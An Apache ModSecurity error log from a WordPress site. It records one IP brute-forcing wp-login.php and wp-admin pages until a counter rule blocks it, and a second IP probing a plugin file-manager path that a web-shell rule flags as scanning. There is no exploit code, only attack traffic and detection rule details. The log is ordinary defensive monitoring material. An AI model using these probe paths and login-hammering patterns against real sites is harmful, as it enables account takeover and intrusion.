[Fri Feb 27 04:48:42.143558 2026] [:error] [pid 42658:tid 42674] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxqozcoYl3nRbu1jZaogAAAg4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:42.143664 2026] [:error] [pid 42658:tid 42674] [client 141.98.11.209:55497] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxqozcoYl3nRbu1jZaogAAAg4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:44.773141 2026] [:error] [pid 5365:tid 5389] [client 141.98.11.209:65426] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxrJYAa8J3tYxdG3whMAAAARY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:44.773208 2026] [:error] [pid 5365:tid 5389] [client 141.98.11.209:65426] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxrJYAa8J3tYxdG3whMAAAARY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:45.924152 2026] [:error] [pid 42563:tid 42589] [client 141.98.11.209:50452] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxrXKL5BclZy73IRG6rAAAAdM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:47.053726 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:50999] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxr4zcoYl3nRbu1jZaqQAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:48.185267 2026] [:error] [pid 42563:tid 42577] [client 141.98.11.209:51631] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxsHKL5BclZy73IRG6sgAAAcg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:49.329209 2026] [:error] [pid 21329:tid 21387] [client 141.98.11.209:52235] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxsZvQWnde-MjcQ1FZIQAAAUQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:49.329319 2026] [:error] [pid 21329:tid 21387] [client 141.98.11.209:52235] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxsZvQWnde-MjcQ1FZIQAAAUQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:52.049958 2026] [:error] [pid 42658:tid 42677] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxtIzcoYl3nRbu1jZasgAAAhE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:53.484617 2026] [:error] [pid 42658:tid 42684] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxtYzcoYl3nRbu1jZaswAAAhg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:56.765835 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxuIzcoYl3nRbu1jZauAAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:48:58.115737 2026] [:error] [pid 42658:tid 42676] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxuozcoYl3nRbu1jZauwAAAhA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:01.246458 2026] [:error] [pid 42658:tid 42672] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxvYzcoYl3nRbu1jZavQAAAgw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:02.788361 2026] [:error] [pid 42658:tid 42681] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxvozcoYl3nRbu1jZavgAAAhU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:04.187085 2026] [:error] [pid 42658:tid 42660] [client 141.98.11.209:52822] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaCxwIzcoYl3nRbu1jZawQAAAgA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:05.384419 2026] [:error] [pid 5365:tid 5379] [client 141.98.11.209:61259] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxwZYAa8J3tYxdG3whvwAAAQw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:06.554503 2026] [:error] [pid 4081:tid 4086] [client 141.98.11.209:61936] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCxwg55mnr35z8h7t3fywAAAMM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:07.706950 2026] [:error] [pid 42658:tid 42663] [client 141.98.11.209:62586] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCxw4zcoYl3nRbu1jZazAAAAgM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:08.845574 2026] [:error] [pid 4081:tid 4096] [client 141.98.11.209:63239] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxxA55mnr35z8h7t3fzQAAAM0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:08.845673 2026] [:error] [pid 4081:tid 4096] [client 141.98.11.209:63239] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxxA55mnr35z8h7t3fzQAAAM0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:11.534955 2026] [:error] [pid 42658:tid 42682] [client 141.98.11.209:63896] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxx4zcoYl3nRbu1jZa4AAAAhY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:12.844452 2026] [:error] [pid 42658:tid 42677] [client 141.98.11.209:63896] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxyIzcoYl3nRbu1jZa4QAAAhE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:15.588774 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:63896] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxy4zcoYl3nRbu1jZa6gAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:16.896869 2026] [:error] [pid 42658:tid 42672] [client 141.98.11.209:63896] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCxzIzcoYl3nRbu1jZa7AAAAgw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:18.306490 2026] [:error] [pid 42658:tid 42660] [client 141.98.11.209:63896] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaCxzozcoYl3nRbu1jZa7QAAAgA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:19.433631 2026] [:error] [pid 5365:tid 5368] [client 141.98.11.209:52611] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaCxz5YAa8J3tYxdG3wiJgAAAQE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:20.557849 2026] [:error] [pid 42563:tid 42574] [client 141.98.11.209:53187] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaCx0HKL5BclZy73IRG63gAAAcY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:21.690268 2026] [:error] [pid 42658:tid 42677] [client 141.98.11.209:53784] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaCx0YzcoYl3nRbu1jZa8wAAAhE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:22.845811 2026] [:error] [pid 3975:tid 4017] [client 141.98.11.209:54379] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx0hMVp0-T2hD76b284wAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:22.845868 2026] [:error] [pid 3975:tid 4017] [client 141.98.11.209:54379] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx0hMVp0-T2hD76b284wAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:25.377154 2026] [:error] [pid 42658:tid 42664] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx1YzcoYl3nRbu1jZa-gAAAgQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:26.649651 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx1ozcoYl3nRbu1jZa-wAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:29.358103 2026] [:error] [pid 42658:tid 42676] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx2YzcoYl3nRbu1jZa_gAAAhA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:30.673670 2026] [:error] [pid 42658:tid 42666] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx2ozcoYl3nRbu1jZbAwAAAgY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:33.637739 2026] [:error] [pid 42658:tid 42660] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx3YzcoYl3nRbu1jZbCAAAAgA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:35.030426 2026] [:error] [pid 42658:tid 42684] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx34zcoYl3nRbu1jZbEAAAAhg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:38.042803 2026] [:error] [pid 42658:tid 42670] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx4ozcoYl3nRbu1jZbIwAAAgo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:39.356140 2026] [:error] [pid 42658:tid 42684] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx44zcoYl3nRbu1jZbJQAAAhg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:42.088482 2026] [:error] [pid 42658:tid 42665] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx5ozcoYl3nRbu1jZbKwAAAgU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:43.466643 2026] [:error] [pid 42658:tid 42662] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx54zcoYl3nRbu1jZbLQAAAgI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:43.466714 2026] [:error] [pid 42658:tid 42662] [client 141.98.11.209:55030] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx54zcoYl3nRbu1jZbLQAAAgI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:46.060135 2026] [:error] [pid 42658:tid 42671] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx6ozcoYl3nRbu1jZbOAAAAgs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:47.288124 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx64zcoYl3nRbu1jZbPgAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:50.074218 2026] [:error] [pid 42658:tid 42676] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx7ozcoYl3nRbu1jZbTQAAAhA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:51.353371 2026] [:error] [pid 42658:tid 42682] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx74zcoYl3nRbu1jZbUwAAAhY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:54.042718 2026] [:error] [pid 42658:tid 42660] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx8ozcoYl3nRbu1jZbVgAAAgA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:55.304886 2026] [:error] [pid 42658:tid 42662] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx84zcoYl3nRbu1jZbWQAAAgI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:55.304936 2026] [:error] [pid 42658:tid 42662] [client 141.98.11.209:50489] [client 141.98.11.209] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.209 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx84zcoYl3nRbu1jZbWQAAAgI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:49:57.804661 2026] [:error] [pid 21329:tid 21400] [client 141.98.11.209:57468] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCx9ZvQWnde-MjcQ1FZRQAAAVE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 05:11:33.628388 2026] [:error] [pid 42563:tid 42573] [client 4.204.200.32:62326] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaC3BXKL5BclZy73IRHB6AAAAcU"]
[Fri Feb 27 05:11:34.457922 2026] [:error] [pid 42658:tid 42681] [client 4.204.200.32:62322] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaC3BozcoYl3nRbu1jZm6gAAAhU"]
